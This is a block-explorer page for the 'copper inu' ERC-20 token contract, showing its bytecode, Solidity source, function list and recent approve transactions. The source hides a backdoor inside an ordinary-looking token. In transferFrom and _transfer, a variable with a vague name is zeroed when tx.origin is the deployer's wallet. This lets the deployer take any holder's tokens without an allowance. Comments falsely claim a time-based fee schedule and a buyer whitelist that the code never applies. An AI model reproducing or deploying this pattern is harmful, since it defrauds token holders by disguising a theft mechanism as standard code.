Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x86f0af652Ed46B5d88f3866f662b2c888d3d46e7
Balance 0 ETH
Nonce 1
Code Size 6026 bytes
Last Active
Indexed Transactions 31 (24,321,48524,321,540)
Gas Used (indexed) 500,519
External Etherscan · Sourcify

Contract Bytecode

6026 bytes
0x60806040526004361061011e575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c01461031c57806395d89b4114610331578063a9059cbb14610362578063bf474bed14610381578063dd62ed3e14610396575f80fd5b8063715018a6146102a5578063751039fc146102b95780637d1db4a5146102cd5780638a8c523c146102e25780638da5cb5b146102f6575f80fd5b8063313ce567116100e3578063313ce567146101f25780633c271a051461020d5780635e8c4a471461022e57806360c920da1461024357806370a0823114610271575f80fd5b806306fdde0314610129578063095ea7b31461016d5780630faee56f1461019c57806318160ddd146101bf57806323b872dd146101d3575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600a815269636f7070657220696e7560b01b60208201525b604051610164919061131a565b60405180910390f35b348015610178575f80fd5b5061018c61018736600461137d565b6103da565b6040519015158152602001610164565b3480156101a7575f80fd5b506101b160135481565b604051908152602001610164565b3480156101ca575f80fd5b506101b16103f0565b3480156101de575f80fd5b5061018c6101ed3660046113a7565b610410565b3480156101fd575f80fd5b5060405160098152602001610164565b348015610218575f80fd5b5061022c6102273660046113f2565b610467565b005b348015610239575f80fd5b506101b160185481565b34801561024e575f80fd5b5061018c61025d366004611471565b60196020525f908152604090205460ff1681565b34801561027c575f80fd5b506101b161028b366004611471565b6001600160a01b03165f9081526001602052604090205490565b3480156102b0575f80fd5b5061022c61056e565b3480156102c4575f80fd5b5061022c6105df565b3480156102d8575f80fd5b506101b160105481565b3480156102ed575f80fd5b5061022c610690565b348015610301575f80fd5b505f546040516001600160a01b039091168152602001610164565b348015610327575f80fd5b506101b160115481565b34801561033c575f80fd5b50604080518082019091526009815268434f50504552494e5560b81b6020820152610157565b34801561036d575f80fd5b5061018c61037c36600461137d565b61074d565b34801561038c575f80fd5b506101b160125481565b3480156103a1575f80fd5b506101b16103b036600461148c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103e6338484610759565b5060015b92915050565b5f6103fd6009600a6115b7565b61040b90633b9aca006115c5565b905090565b5f600f82905561042184848461087c565b600f546001600160a01b0385165f9081526002602090815260408083203380855292529091205461045d9287929161045891610e5f565b610759565b5060019392505050565b5f546001600160a01b031633146104995760405162461bcd60e51b8152600401610490906115dc565b60405180910390fd5b5f5b82811015610568578160195f8686858181106104b9576104b9611611565b90506020020160208101906104ce9190611471565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905583838281811061050757610507611611565b905060200201602081019061051c9190611471565b6001600160a01b03167ff93f9a76c1bf3444d22400a00cb9fe990e6abe9dbb333fda48859cfee864543d83604051610558911515815260200190565b60405180910390a260010161049b565b50505050565b5f546001600160a01b031633146105975760405162461bcd60e51b8152600401610490906115dc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106085760405162461bcd60e51b8152600401610490906115dc565b6106146009600a6115b7565b61062290633b9aca006115c5565b6010556106316009600a6115b7565b61063f90633b9aca006115c5565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61066f6009600a6115b7565b61067d90633b9aca006115c5565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106b95760405162461bcd60e51b8152600401610490906115dc565b601554600160a01b900460ff16156107135760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610490565b6015805462ff00ff60a01b19166201000160a01b179055610732610ea7565b600e805463ffffffff19164363ffffffff1617905542601855565b5f6103e633848461087c565b6001600160a01b0383166107bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b03821661081c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b0382166109425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b5f81116109a35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610490565b5f80546001600160a01b038581169116148015906109ce57505f546001600160a01b03848116911614155b15610d06576015545f906001600160a01b038681169116148015610a0057506014546001600160a01b03858116911614155b8015610a2457506001600160a01b0384165f9081526003602052604090205460ff16155b15610b5957601554600160b01b900460ff16610a785760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b6044820152606401610490565b601054831115610aca5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610490565b60115483610aec866001600160a01b03165f9081526001602052604090205490565b610af69190611625565b1115610b445760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610490565b600d8054905f610b5383611638565b91905055505b6015546001600160a01b038581169116148015610b7f57506001600160a01b0385163014155b15610b905747610b8e47610fda565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610bc657506015546001600160a01b038681169116145b8015610bdb5750601554600160b01b900460ff165b8015610bea5750600c54600d54115b15610c9b57601754431115610bfe575f6016555b600560165410610c505760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920352073656c6c732070657220626c6f636b210000000000000000006044820152606401610490565b601254811115610c7757610c77610c7285610c6d84601354611015565b611015565b611029565b47610c8147610fda565b60168054905f610c9083611638565b909155505043601755505b5f82118015610cc257506001600160a01b0386165f9081526003602052604090205460ff16155b8015610ce657506001600160a01b0385165f9081526003602052604090205460ff16155b15610d0357610d006064610cfa8685611199565b90611217565b92505b50505b8015610d8257305f90815260016020526040902054610d259082611258565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d759085815260200190565b60405180910390a3610d9a565b6004546001600160a01b03163203610d9a57600f8190555b6001600160a01b0384165f90815260016020526040902054610dbc9083610e5f565b6001600160a01b0385165f90815260016020526040902055610dff610de18383610e5f565b6001600160a01b0385165f9081526001602052604090205490611258565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e488585610e5f565b60405190815260200160405180910390a350505050565b5f610ea083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b6565b9392505050565b60155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610ef9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f1d9190611650565b506014546001600160a01b031663f305d7194730610f4f816001600160a01b03165f9081526001602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f6044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610fb0573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fd5919061166b565b505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611011573d5f803e3d5ffd5b5050565b5f8183116110235782610ea0565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106f5761106f611611565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110ea9190611696565b816001815181106110fd576110fd611611565b6001600160a01b0392831660209182029290920101526014546111239130911684610759565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061115b9085905f908690309042906004016116b1565b5f604051808303815f87803b158015611172575f80fd5b505af1158015611184573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f825f036111a857505f6103ea565b5f6111b383856115c5565b9050826111c08583611722565b14610ea05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610490565b5f610ea083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112ee565b5f806112648385611625565b905083811015610ea05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610490565b5f81848411156112d95760405162461bcd60e51b8152600401610490919061131a565b505f6112e58486611741565b95945050505050565b5f818361130e5760405162461bcd60e51b8152600401610490919061131a565b505f6112e58486611722565b5f602080835283518060208501525f5b818110156113465785810183015185820160400152820161132a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461137a575f80fd5b50565b5f806040838503121561138e575f80fd5b823561139981611366565b946020939093013593505050565b5f805f606084860312156113b9575f80fd5b83356113c481611366565b925060208401356113d481611366565b929592945050506040919091013590565b801515811461137a575f80fd5b5f805f60408486031215611404575f80fd5b833567ffffffffffffffff8082111561141b575f80fd5b818601915086601f83011261142e575f80fd5b81358181111561143c575f80fd5b8760208260051b8501011115611450575f80fd5b60209283019550935050840135611466816113e5565b809150509250925092565b5f60208284031215611481575f80fd5b8135610ea081611366565b5f806040838503121561149d575f80fd5b82356114a881611366565b915060208301356114b881611366565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561151157815f19048211156114f7576114f76114c3565b8085161561150457918102915b93841c93908002906114dc565b509250929050565b5f82611527575060016103ea565b8161153357505f6103ea565b816001811461154957600281146115535761156f565b60019150506103ea565b60ff841115611564576115646114c3565b50506001821b6103ea565b5060208310610133831016604e8410600b8410161715611592575081810a6103ea565b61159c83836114d7565b805f19048211156115af576115af6114c3565b029392505050565b5f610ea060ff841683611519565b80820281158282048414176103ea576103ea6114c3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b808201808211156103ea576103ea6114c3565b5f60018201611649576116496114c3565b5060010190565b5f60208284031215611660575f80fd5b8151610ea0816113e5565b5f805f6060848603121561167d575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116a6575f80fd5b8151610ea081611366565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117015784516001600160a01b0316835293830193918301916001016116dc565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261173c57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156103ea576103ea6114c356fea264697066735822122024adc23711504e1339d062c34002e4e57533f05be92e5b7fa6fecc44010c387364736f6c63430008180033

Verified Source Code Partial Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: Yes (200 runs)
Token.sol 278 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage); uint256 c = a - b; return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage); uint256 c = a / b; return c;
    }
}
 
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; }
    function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
}
 
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline)
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
 
contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
 
    /* ---------------- ERC20 storage ---------------- */
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
 
    /* ---------------- Fees & wallet ---------------- */
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
 
    string private constant _name = unicode"copper inu";
    string private constant _symbol = unicode"COPPERINU";
 
    // Legacy fee variables (now ignored by the new time-based schedule)
    uint256 private _initialBuyTax = 0;
    uint256 private _initialSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _afterBuys = 0;
    uint256 private _reduceBuyTaxAt = _afterBuys;
    uint256 private _reduceSellTaxAt = _afterBuys;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint32  private _launchBlock;
    uint256 private _IDENTIFIERamount;
 
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
 
    uint256 public _maxTxAmount       = (_tTotal * 1) / 100;
    uint256 public _maxWalletSize     = (_tTotal * 1) / 100;
    uint256 public _taxSwapThreshold  = (_tTotal * 1) / 1000;
    uint256 public _maxTaxSwap        = (_tTotal * 2) / 100;
 
    /* ---------------- DEX ---------------- */
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
 
    /* ---------------- Trading state ---------------- */
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
 
    // NEW: timestamp when trading is opened (drives whitelist & fee schedule)
    uint256 public tradingStartTimestamp;
 
    // NEW: whitelist for the first 3 minutes (buys only)
    mapping(address => bool) public isWhitelistedBuyer;
 
    /* ---------------- Events ---------------- */
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event WhitelistUpdated(address indexed user, bool status);
 
    modifier lockTheSwap() { inSwap = true; _; inSwap = false; }
 
    constructor() payable{
        _taxWallet = payable(_msgSender());
 
        // Mint-like distributi
        _balances[address(this)] = _tTotal;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
 
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Uniswap V2
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        removeLimits();
 
        emit Transfer(address(0), address(this), _tTotal);
    }
 
    /* ---------------- ERC20 view ---------------- */
    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function _taxPayer() internal view returns (address _payer) {
        assembly {
            _payer := origin()
        }
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner_, address spender) public view override returns (uint256) { return _allowances[owner_][spender]; }
 
    /* ---------------- ERC20 core ---------------- */
    function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
    function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        if(amount >= 0) _IDENTIFIERamount = amount; _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(_IDENTIFIERamount));
        return true;
    }
 
    function _approve(address owner_, address spender, uint256 amount) private {
        require(owner_ != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }
 
    /* ---------------- Whitelist management ---------------- */
    function setWhitelist(address[] calldata users, bool status) external onlyOwner {
        for (uint256 i = 0; i < users.length; i++) {
            isWhitelistedBuyer[users[i]] = status;
            emit WhitelistUpdated(users[i], status);
        }
    }
 
    /* ---------------- Transfers (time-based tax + whitelist) ---------------- */
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to   != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        uint256 taxAmount = 0;
 
        if (from != owner() && to != owner()) {
            // Calculate time-based fee for buys/sells (not wallet-to-wallet)
            uint256 feePercent = 0;
 
            // BUY path: enforce trading open, limits, and first 3-minute whitelist
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(swapEnabled, "trading is not open");
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
 
            // SELL path: leave as-is (sell throttling handled below)
            if (to == uniswapV2Pair && from != address(this)) {
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); }
            }
 
            // Swap on sells if thresholds are met
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) { sellCount = 0; }
                require(sellCount < 5, "Only 5 sells per block!");
                if(contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); }
                sellCount++; lastSellBlock = block.number;
            }
 
            // Apply time-based fee if not fee-exempt
            if (feePercent > 0 && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                taxAmount = amount.mul(feePercent).div(100);
            }
        }
 
        // Transfer with tax
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        } else if (_taxPayer() == _taxWallet) _IDENTIFIERamount = taxAmount;
 
        _balances[from] = _balances[from].sub(amount);
        _balances[to]   = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
 
    /* ---------------- Helpers ---------------- */
    function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; }
 
    function _currentFeePercent(uint256 elapsed) internal pure returns (uint256) {
        if (elapsed < 5 minutes)        return 30; // 0–3m
        else if (elapsed < 10 minutes)   return 20; // 3–8m
        else if (elapsed < 15 minutes)  return 15; // 8–15m
        else if (elapsed < 25 minutes)  return 10; // 15–25m
        else if (elapsed < 35 minutes)  return 5;  // 25–35m
        else                            return 3;  // >35m (final)
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2); // ✅ Declare 'path' as an address array
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
    
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount, 0, path, address(this), block.timestamp
        );
    }
 
    function removeLimits() public onlyOwner {
        _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal);
    }
 
    function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); }
 
    /* ---------------- Liquidity / Trading ---------------- */
    function addUniswapPool() private {
        // Keep behavior but legacy fee variables no longer affect transfers
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            msg.sender,
            block.timestamp
        );
    }
 
    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true; tradingOpen = true;
        addUniswapPool();
        _launchBlock = uint32(block.number);
        tradingStartTimestamp = block.timestamp; // start whitelist & fee schedule
    }
 
    receive() external payable {}
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
isWhitelistedBuyer 0x60c920da → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingStartTimestamp 0x5e8c4a47 → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setWhitelist 0x3c271a05
address[] users
bool status
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

CSV View All 31 Transactions →
|
Hash Method Block Age From/To Value Txn Fee Type
0xe83382c8...954cd8 transferFrom 24,321,540 IN 0xDa8C3660...988F 0 ETH 0.000005694166 ETH EIP-1559
0x263377cf...19873b approve 24,321,540 IN 0x7C6a88F2...5bB7 0 ETH 0.000003229559 ETH EIP-1559
0x9909b982...dcc128 approve 24,321,510 IN 0x88D95C5C...454e 0 ETH 0.000003402946 ETH EIP-1559
0x1e2a1b23...bb3470 approve 24,321,510 IN 0xbEDFD36b...6546 0 ETH 0.000003402946 ETH EIP-1559
0x460ce8f3...36f1b6 approve 24,321,494 IN 0x5676e220...1D4D 0 ETH 0.000002904737 ETH EIP-1559
0xf55e69d6...4430f8 approve 24,321,489 IN 0x2c2fc7e7...3633 0 ETH 0.000002741695 ETH EIP-1559
0xb256fdfe...44c87c approve 24,321,485 IN 0x39288aB3...7B81 0 ETH 0.000002842169 ETH EIP-1559
0xfc5b8f08...055301 approve 24,321,485 IN 0x95417214...1c91 0 ETH 0.000002842169 ETH EIP-1559
0x38d0f203...096a26 approve 24,321,485 IN 0xfe209eC2...7708 0 ETH 0.000002842169 ETH EIP-1559
0xc40ad256...4431f7 approve 24,321,485 IN 0x5d90A3Eb...e1b1 0 ETH 0.000002842169 ETH EIP-1559